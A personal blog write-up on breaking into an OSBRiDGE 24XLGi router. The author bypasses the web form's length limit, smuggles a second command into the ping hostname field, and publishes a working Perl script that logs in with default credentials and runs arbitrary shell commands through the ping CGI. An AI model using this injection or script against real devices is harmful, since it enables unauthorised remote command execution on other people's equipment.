Matteo Croce personal homepage

Hacking the OSBRiDGE 24XLGi

A friend gave me an OSBRiDGE 24XLGi, its case broke and was not suitable for outdoor use anymore.
The router is pretty closed: a network scan doesn’t reveal any open port other than the web interface one and connecting to the serial port reveals a crippled bootloader.
Firmware upgrade is done via the web interface, and the firmware is checked for integrity.

The web interface has the usual features found in a router, along with a “service” page which allows to ping a host.
I suspected that it just execs ping via the system shell, but the hostname size is limited to 15 characters (12 numbers and 3 dots).
Nothing that can’t be cheated with the browser inspector, so I did it and tried to ping the hostname “192.168.1.129 ; ping 192.168.1.150”, whith 192.168.1.129 being my notebook IP and 192.168.1.150 an unused one.

Concurrently, I started a tcpdump on the notebook and notices the osbridge sending ARP packets trying to resolve the MAC address for 192.168.1.150. This means that the injection works!

IP 192.168.1.250 > 192.168.1.129: ICMP echo request, id 28003, seq 0, length 68
IP 192.168.1.129 > 192.168.1.250: ICMP echo reply, id 28003, seq 0, Length 68
arp who-has 192.168.1.150 tell 192.168.1.250 
arp who-has 192.168.1.150 tell 192.168.1.250 

I started injecting some commands by crafting HTTP requests with cURL, and when executing a non existent command I got this HTTP header:

Client-Junk: sh: xxxcmd: not found

This means the web server redirects the command stderr and returns it a custom HTTP header named “Client-Junk”.

So I wrote a perl script which injects commands:

$ ./inject.pl uname -a
Linux (none) 2.4.18-MIPS-01.00 #653 ro maj 23 11:38:56 CEST 2007 mips unknown

The script is pretty simple. It logs in, gets the session ID, injects the command, prints the output and extracts the stderr from the HTTP headers:

#!/usr/bin/perl -w

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common qw(GET);

my $ua = LWP::UserAgent->new();
my $req = HTTP::Request->new(GET => 'http://192.168.1.250/cgi-bin/cgi?www=login&login=admin&password=public');
my $content = $ua->request($req)->as_string;
my $id;

if($content =~ /www=applycfg&IDs=(\d{30})/) {
	$id = $1;
} else {
	die "Can't find ID (wrong password?)";
}

my $url = "http://192.168.1.250/cgi-bin/cgi?www=ping&IDs=$id&hostip=127.0.0.1 ; @ARGV >/proc/self/fd/2&packetsize=60&packetcount=1&submit=Ping";

print "[~] @ARGV\n";

$req = HTTP::Request->new(GET => $url);

$content = $ua->request($req)->as_string;

while ($content =~ /^Client-Junk: (.*)/mg) {
	print "$1\n";
}

Although this isn’t of any practical use, it was a fun hacking exercise!

#Hacking